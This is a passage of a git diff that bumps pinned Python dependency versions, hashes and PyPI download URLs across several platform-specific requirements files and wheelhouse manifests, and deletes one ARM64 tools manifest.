watchfiles==1.1.1 --hash=sha256:c755367e51db90e75b19454b680903631d41f9e3607fbd941d296a020c2d752d diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp313.wheelhouse-manifest.json b/implementations/tooling/python/smoke/linux-x86_64-cp313.wheelhouse-manifest.json index 070e27bac..a42af0732 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp313.wheelhouse-manifest.json +++ b/implementations/tooling/python/smoke/linux-x86_64-cp313.wheelhouse-manifest.json @@ -33,20 +33,20 @@ "version": "0.7.0" }, { - "filename": "anyio-4.13.0-py3-none-any.whl", + "filename": "anyio-4.14.2-py3-none-any.whl", "name": "anyio", - "sha256": "08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", - "size": 114353, - "url": "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", - "version": "4.13.0" + "sha256": "9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", + "size": 125813, + "url": "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", + "version": "4.14.2" }, { - "filename": "asyncssh-2.23.1-py3-none-any.whl", + "filename": "asyncssh-2.24.0-py3-none-any.whl", "name": "asyncssh", - "sha256": "f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e", - "size": 376054, - "url": "https://files.pythonhosted.org/packages/ef/94/9aa81bde40627af70388d634152e7c53e7533788e662b8093047501a1473/asyncssh-2.23.1-py3-none-any.whl", - "version": "2.23.1" + "sha256": "9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7", + "size": 381237, + "url": "https://files.pythonhosted.org/packages/3e/29/908ce0ca5e8cae76662e354a0f08df552d6d221844748b9e5ca06051cc44/asyncssh-2.24.0-py3-none-any.whl", + "version": "2.24.0" }, { "filename": "attrs-26.1.0-py3-none-any.whl", @@ -377,12 +377,12 @@ "version": "2.20.0" }, { - "filename": "pyjwt-2.13.0-py3-none-any.whl", + "filename": "pyjwt-2.15.1-py3-none-any.whl", "name": "pyjwt", - "sha256": "66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", - "size": 31274, - "url": "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", - "version": "2.13.0" + "sha256": "42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", + "size": 33860, + "url": "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", + "version": "2.15.1" }, { "filename": "pytest-9.1.0-py3-none-any.whl", @@ -681,12 +681,12 @@ "version": "32.0.1" }, { - "filename": "urllib3-2.7.0-py3-none-any.whl", + "filename": "urllib3-2.8.0-py3-none-any.whl", "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" + "sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "size": 135717, + "url": "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "version": "2.8.0" }, { "filename": "uvicorn-0.42.0-py3-none-any.whl", @@ -730,8 +730,8 @@ } ], "lock_path": "implementations/python/uv.lock", - "lock_sha256": "1f8bb8a09c7535a4bf00ed073c76308ae625e2c1dab1d77ba151bbec114de7ba", + "lock_sha256": "5d18f781062a6181e2a55d3f7d55911474005f091ba9babcfec40d4030276dad", "python_closure_profile_id": "public-linux-x86_64-cp313-all-extras", - "requirements_sha256": "d21b598520ca0fb1a76cfca255cad78e0da29946c89b3c1356dfbcff99046e57", + "requirements_sha256": "1c8a1e29b7d69659a0f61e26c2616ce18c0a7460b4f3e2895ad56b480f128a66", "schema_version": "raes-python-wheelhouse-manifest/v1" } diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp314.txt b/implementations/tooling/python/smoke/linux-x86_64-cp314.txt index eb4cd23fe..289109145 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp314.txt +++ b/implementations/tooling/python/smoke/linux-x86_64-cp314.txt @@ -2,8 +2,8 @@ accessible-pygments==0.0.5 --hash=sha256:88ae3211e68a1d0b011504b2ffc1691feafce12 alabaster==1.0.0 --hash=sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b annotated-doc==0.0.4 --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 annotated-types==0.7.0 --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 -anyio==4.13.0 --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 -asyncssh==2.23.1 --hash=sha256:f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e +anyio==4.14.2 --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 +asyncssh==2.24.0 --hash=sha256:9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7 attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 babel==2.18.0 --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35 beautifulsoup4==4.14.3 --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb @@ -45,7 +45,7 @@ pydantic==2.12.5 --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f22 pydantic-core==2.41.5 --hash=sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375 pydantic-settings==2.14.2 --hash=sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440 pygments==2.20.0 --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 -pyjwt==2.13.0 --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728 +pyjwt==2.15.1 --hash=sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193 pytest==9.1.0 --hash=sha256:8ebb0e7888bdf2bdfc602ec51f8f62d50200af37356c74e503c79a94f5c81f32 pytest-cov==7.1.0 --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 pytest-mock==3.15.1 --hash=sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d @@ -83,7 +83,7 @@ typer==0.24.1 --hash=sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21 typing-extensions==4.15.0 --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 typing-inspection==0.4.2 --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 univers==32.0.1 --hash=sha256:50a574ff2321e31e1eba7aa586bf63a9558d91c69c70316bf26c75e1b122499b -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 uvicorn==0.42.0 --hash=sha256:96c30f5c7abe6f74ae8900a70e92b85ad6613b745d4879eb9b16ccad15645359 uvloop==0.22.1 --hash=sha256:c1955d5a1dd43198244d47664a5858082a3239766a839b2102a269aaff7a4e25 watchfiles==1.1.1 --hash=sha256:5c85794a4cfa094714fb9c08d4a218375b2b95b8ed1666e8677c349906246c05 diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp314.wheelhouse-manifest.json b/implementations/tooling/python/smoke/linux-x86_64-cp314.wheelhouse-manifest.json index ce0e00f0c..41c74ac3f 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp314.wheelhouse-manifest.json +++ b/implementations/tooling/python/smoke/linux-x86_64-cp314.wheelhouse-manifest.json @@ -33,20 +33,20 @@ "version": "0.7.0" }, { - "filename": "anyio-4.13.0-py3-none-any.whl", + "filename": "anyio-4.14.2-py3-none-any.whl", "name": "anyio", - "sha256": "08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", - "size": 114353, - "url": "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", - "version": "4.13.0" + "sha256": "9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", + "size": 125813, + "url": "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", + "version": "4.14.2" }, { - "filename": "asyncssh-2.23.1-py3-none-any.whl", + "filename": "asyncssh-2.24.0-py3-none-any.whl", "name": "asyncssh", - "sha256": "f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e", - "size": 376054, - "url": "https://files.pythonhosted.org/packages/ef/94/9aa81bde40627af70388d634152e7c53e7533788e662b8093047501a1473/asyncssh-2.23.1-py3-none-any.whl", - "version": "2.23.1" + "sha256": "9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7", + "size": 381237, + "url": "https://files.pythonhosted.org/packages/3e/29/908ce0ca5e8cae76662e354a0f08df552d6d221844748b9e5ca06051cc44/asyncssh-2.24.0-py3-none-any.whl", + "version": "2.24.0" }, { "filename": "attrs-26.1.0-py3-none-any.whl", @@ -377,12 +377,12 @@ "version": "2.20.0" }, { - "filename": "pyjwt-2.13.0-py3-none-any.whl", + "filename": "pyjwt-2.15.1-py3-none-any.whl", "name": "pyjwt", - "sha256": "66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", - "size": 31274, - "url": "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", - "version": "2.13.0" + "sha256": "42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", + "size": 33860, + "url": "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", + "version": "2.15.1" }, { "filename": "pytest-9.1.0-py3-none-any.whl", @@ -681,12 +681,12 @@ "version": "32.0.1" }, { - "filename": "urllib3-2.7.0-py3-none-any.whl", + "filename": "urllib3-2.8.0-py3-none-any.whl", "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" + "sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "size": 135717, + "url": "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "version": "2.8.0" }, { "filename": "uvicorn-0.42.0-py3-none-any.whl", @@ -730,8 +730,8 @@ } ], "lock_path": "implementations/python/uv.lock", - "lock_sha256": "1f8bb8a09c7535a4bf00ed073c76308ae625e2c1dab1d77ba151bbec114de7ba", + "lock_sha256": "5d18f781062a6181e2a55d3f7d55911474005f091ba9babcfec40d4030276dad", "python_closure_profile_id": "public-linux-x86_64-cp314-all-extras", - "requirements_sha256": "2b3a34abe2c36b34a2ec10636c70d87dcc1f00679e2f2efd4f3f80c927b792d1", + "requirements_sha256": "083b7ec7bcde80a52469812e749d4e3c23abbf542f5786a276657f2b5ae4fb7e", "schema_version": "raes-python-wheelhouse-manifest/v1" } diff --git a/implementations/tooling/python/smoke/macos-arm64-cp314.txt b/implementations/tooling/python/smoke/macos-arm64-cp314.txt index b5f29c7d1..6ee5b7870 100644 --- a/implementations/tooling/python/smoke/macos-arm64-cp314.txt +++ b/implementations/tooling/python/smoke/macos-arm64-cp314.txt @@ -2,8 +2,8 @@ accessible-pygments==0.0.5 --hash=sha256:88ae3211e68a1d0b011504b2ffc1691feafce12 alabaster==1.0.0 --hash=sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b annotated-doc==0.0.4 --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 annotated-types==0.7.0 --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 -anyio==4.13.0 --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 -asyncssh==2.23.1 --hash=sha256:f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e +anyio==4.14.2 --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 +asyncssh==2.24.0 --hash=sha256:9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7 attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 babel==2.18.0 --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35 beautifulsoup4==4.14.3 --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb @@ -45,7 +45,7 @@ pydantic==2.12.5 --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f22 pydantic-core==2.41.5 --hash=sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14 pydantic-settings==2.14.2 --hash=sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440 pygments==2.20.0 --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 -pyjwt==2.13.0 --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728 +pyjwt==2.15.1 --hash=sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193 pytest==9.1.0 --hash=sha256:8ebb0e7888bdf2bdfc602ec51f8f62d50200af37356c74e503c79a94f5c81f32 pytest-cov==7.1.0 --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 pytest-mock==3.15.1 --hash=sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d @@ -83,7 +83,7 @@ typer==0.24.1 --hash=sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21 typing-extensions==4.15.0 --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 typing-inspection==0.4.2 --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 univers==32.0.1 --hash=sha256:50a574ff2321e31e1eba7aa586bf63a9558d91c69c70316bf26c75e1b122499b -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 uvicorn==0.42.0 --hash=sha256:96c30f5c7abe6f74ae8900a70e92b85ad6613b745d4879eb9b16ccad15645359 uvloop==0.22.1 --hash=sha256:3879b88423ec7e97cd4eba2a443aa26ed4e59b45e6b76aabf13fe2f27023a142 watchfiles==1.1.1 --hash=sha256:39574d6370c4579d7f5d0ad940ce5b20db0e4117444e39b6d8f99db5676c52fd diff --git a/implementations/tooling/python/smoke/macos-arm64-cp314.wheelhouse-manifest.json b/implementations/tooling/python/smoke/macos-arm64-cp314.wheelhouse-manifest.json index 1938c3181..bb0342c33 100644 --- a/implementations/tooling/python/smoke/macos-arm64-cp314.wheelhouse-manifest.json +++ b/implementations/tooling/python/smoke/macos-arm64-cp314.wheelhouse-manifest.json @@ -33,20 +33,20 @@ "version": "0.7.0" }, { - "filename": "anyio-4.13.0-py3-none-any.whl", + "filename": "anyio-4.14.2-py3-none-any.whl", "name": "anyio", - "sha256": "08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", - "size": 114353, - "url": "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", - "version": "4.13.0" + "sha256": "9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", + "size": 125813, + "url": "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", + "version": "4.14.2" }, { - "filename": "asyncssh-2.23.1-py3-none-any.whl", + "filename": "asyncssh-2.24.0-py3-none-any.whl", "name": "asyncssh", - "sha256": "f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e", - "size": 376054, - "url": "https://files.pythonhosted.org/packages/ef/94/9aa81bde40627af70388d634152e7c53e7533788e662b8093047501a1473/asyncssh-2.23.1-py3-none-any.whl", - "version": "2.23.1" + "sha256": "9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7", + "size": 381237, + "url": "https://files.pythonhosted.org/packages/3e/29/908ce0ca5e8cae76662e354a0f08df552d6d221844748b9e5ca06051cc44/asyncssh-2.24.0-py3-none-any.whl", + "version": "2.24.0" }, { "filename": "attrs-26.1.0-py3-none-any.whl", @@ -377,12 +377,12 @@ "version": "2.20.0" }, { - "filename": "pyjwt-2.13.0-py3-none-any.whl", + "filename": "pyjwt-2.15.1-py3-none-any.whl", "name": "pyjwt", - "sha256": "66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", - "size": 31274, - "url": "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", - "version": "2.13.0" + "sha256": "42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", + "size": 33860, + "url": "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", + "version": "2.15.1" }, { "filename": "pytest-9.1.0-py3-none-any.whl", @@ -681,12 +681,12 @@ "version": "32.0.1" }, { - "filename": "urllib3-2.7.0-py3-none-any.whl", + "filename": "urllib3-2.8.0-py3-none-any.whl", "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" + "sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "size": 135717, + "url": "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "version": "2.8.0" }, { "filename": "uvicorn-0.42.0-py3-none-any.whl", @@ -730,8 +730,8 @@ } ], "lock_path": "implementations/python/uv.lock", - "lock_sha256": "1f8bb8a09c7535a4bf00ed073c76308ae625e2c1dab1d77ba151bbec114de7ba", + "lock_sha256": "5d18f781062a6181e2a55d3f7d55911474005f091ba9babcfec40d4030276dad", "python_closure_profile_id": "public-macos-arm64-cp314-all-extras", - "requirements_sha256": "edb7d9e3dcd0a00561fa545abdb83ee50fc170fb09f873833f4e7bd459f2d293", + "requirements_sha256": "ca99e96e0a20d0e6d58b9a957928b42046e2508711120c02ce4a92f9f1d8e86e", "schema_version": "raes-python-wheelhouse-manifest/v1" } diff --git a/implementations/tooling/python/smoke/tools-linux-arm64-cp314.txt b/implementations/tooling/python/smoke/tools-linux-arm64-cp314.txt deleted file mode 100644 index 414dd48db..000000000 --- a/implementations/tooling/python/smoke/tools-linux-arm64-cp314.txt +++ /dev/null @@ -1,45 +0,0 @@ -argcomplete==3.7.2 --hash=sha256:6029205678bdd9c1c728a155f5f9ecf5812393f969eef58807641a2bc2aa5b19 -attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 -certifi==2026.7.22 --hash=sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775 -cffi==2.1.1 --hash=sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1 -cfgv==3.5.0 --hash=sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0 -charset-normalizer==3.5.1 --hash=sha256:2f06b7eae9dbe77fe1d644ca244dad508de8d302870a43f3c559b521270938a0 -check-jsonschema==0.37.1 --hash=sha256:cf672ef4ccd62f9512ac40d28dde135108799ee8d749095ac72b62ecdb796d2e -click==8.5.0 --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 -colorlog==6.12.0 --hash=sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e -cryptography==50.0.1 --hash=sha256:53e279950892dc102c6b4e52af03ae5ea92fac572a1ddab78ca73a997f62b69f -dependency-groups==1.3.2 --hash=sha256:8c337f7b92445823b0d0ea507f611390c58dcd2112be00aebcd738a2ca7a1c64 -distlib==0.4.3 --hash=sha256:4b0ce306c966eb73bc3a7b6abad017c556dadd92c44701562cd528ac7fde4d5b -filelock==3.32.6 --hash=sha256:3f16ecd0117feae0dfc147e8c62eb5daeccd8bd800378c3ddf416de9b4feb6b1 -hatchling==1.27.0 --hash=sha256:d3a2f3567c4f926ea39849cdf924c7e99e6686c9c8e288ae1037c8fa2a5d937b -humanize==4.16.0 --hash=sha256:353eb2f34c09d098b2880eee8bef21832eae6d174f48c5762fff7e5fcb74d01d -identify==2.6.19 --hash=sha256:20e6a87f786f768c092a721ad107fc9df0eb89347be9396cadf3f4abbd1fb78a -idna==3.19 --hash=sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4 -iniconfig==2.3.0 --hash=sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12 -jsonschema==4.26.0 --hash=sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce -jsonschema-specifications==2025.9.1 --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe -nodeenv==1.10.0 --hash=sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827 -nox==2026.4.10 --hash=sha256:082c117627590d9b90aa21f86df89b310b07c5842539524203bcb3c719f116c1 -packaging==26.3 --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c -pathspec==1.1.1 --hash=sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189 -pip==26.2.1 --hash=sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e -platformdirs==4.11.8 --hash=sha256:52f2f181bbfde907966932cc8312d967d02976422d66d537ea16092b8e291081 -pluggy==1.6.0 --hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746 -pre-commit==4.3.0 --hash=sha256:2b0747ad7e6e967169136edffee14c16e148a778a54e4f967921aa1ebf2308d8 -pre-commit-hooks==6.0.0 --hash=sha256:76161b76d321d2f8ee2a8e0b84c30ee8443e01376121fd1c90851e33e3bd7ee2 -pycparser==3.0 --hash=sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992 -pygments==2.21.0 --hash=sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9 -pytest==9.0.3 --hash=sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9 -pytest-timeout==2.4.0 --hash=sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2 -python-discovery==1.6.0 --hash=sha256:d4e244cf17b8b29819ed78003d55fbacf86eda23425b075454fff9271b79377a -pyyaml==6.0.3 --hash=sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7 -referencing==0.37.0 --hash=sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231 -regress==2026.9.1 --hash=sha256:9d806b33a8ce23b76b906144e6c26155535cadfdb63db68f124dc8938867c480 -requests==2.34.2 --hash=sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0 -rpds-py==2026.6.3 --hash=sha256:bcfbcf66006befb9fd2aeaa9e01feaf881b4dc330a02ba07d2322b1c11be7b5d -ruamel-yaml==0.19.1 --hash=sha256:27592957fedf6e0b62f281e96effd28043345e0e66001f97683aa9a40c667c93 -ruff==0.15.9 --hash=sha256:9439a342adb8725f32f92732e2bafb6d5246bd7a5021101166b223d312e8fc59 -trove-classifiers==2026.6.1.19 --hash=sha256:ab4c4ec93cc4a4e7815fa759906e05e6bb3f2fbd92ea0f897288c6a43efd15b3 -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 -uv==0.12.4 --hash=sha256:faf6430497f3bf6a1c92d10215cd4097c8094d57955fbe563b30ba3add62a9c9 -virtualenv==21.7.9 --hash=sha256:ba3b0bb41063c848d84d76a9fe3fb7711aaa0f2fe78708e8f3cd9714770e4eac diff --git a/implementations/tooling/python/smoke/tools-linux-arm64-cp314.wheelhouse-manifest.json b/implementations/tooling/python/smoke/tools-linux-arm64-cp314.wheelhouse-manifest.json deleted file mode 100644 index 1127f642d..000000000 --- a/implementations/tooling/python/smoke/tools-linux-arm64-cp314.wheelhouse-manifest.json +++ /dev/null @@ -1,369 +0,0 @@ -{ - "artifacts": [ - { - "filename": "argcomplete-3.7.2-py3-none-any.whl", - "name": "argcomplete", - "sha256": "6029205678bdd9c1c728a155f5f9ecf5812393f969eef58807641a2bc2aa5b19", - "size": 43294, - "url": "https://files.pythonhosted.org/packages/46/bd/551ee6af426af84ca33e02622be722925c196608e9127d731ef17c47f06e/argcomplete-3.7.2-py3-none-any.whl", - "version": "3.7.2" - }, - { - "filename": "attrs-26.1.0-py3-none-any.whl", - "name": "attrs", - "sha256": "c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", - "size": 67548, - "url": "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", - "version": "26.1.0" - }, - { - "filename": "certifi-2026.7.22-py3-none-any.whl", - "name": "certifi", - "sha256": "62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", - "size": 136983, - "url": "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", - "version": "2026.7.22" - }, - { - "filename": "cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", - "name": "cffi", - "sha256": "58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", - "size": 222328, - "url": "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", - "version": "2.1.1" - }, - { - "filename": "cfgv-3.5.0-py2.py3-none-any.whl", - "name": "cfgv", - "sha256": "a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0", - "size": 7445, - "url": "https://files.pythonhosted.org/packages/db/3c/33bac158f8ab7f89b2e59426d5fe2e4f63f7ed25df84c036890172b412b5/cfgv-3.5.0-py2.py3-none-any.whl", - "version": "3.5.0" - }, - { - "filename": "charset_normalizer-3.5.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", - "name": "charset-normalizer", - "sha256": "2f06b7eae9dbe77fe1d644ca244dad508de8d302870a43f3c559b521270938a0", - "size": 242458, - "url": 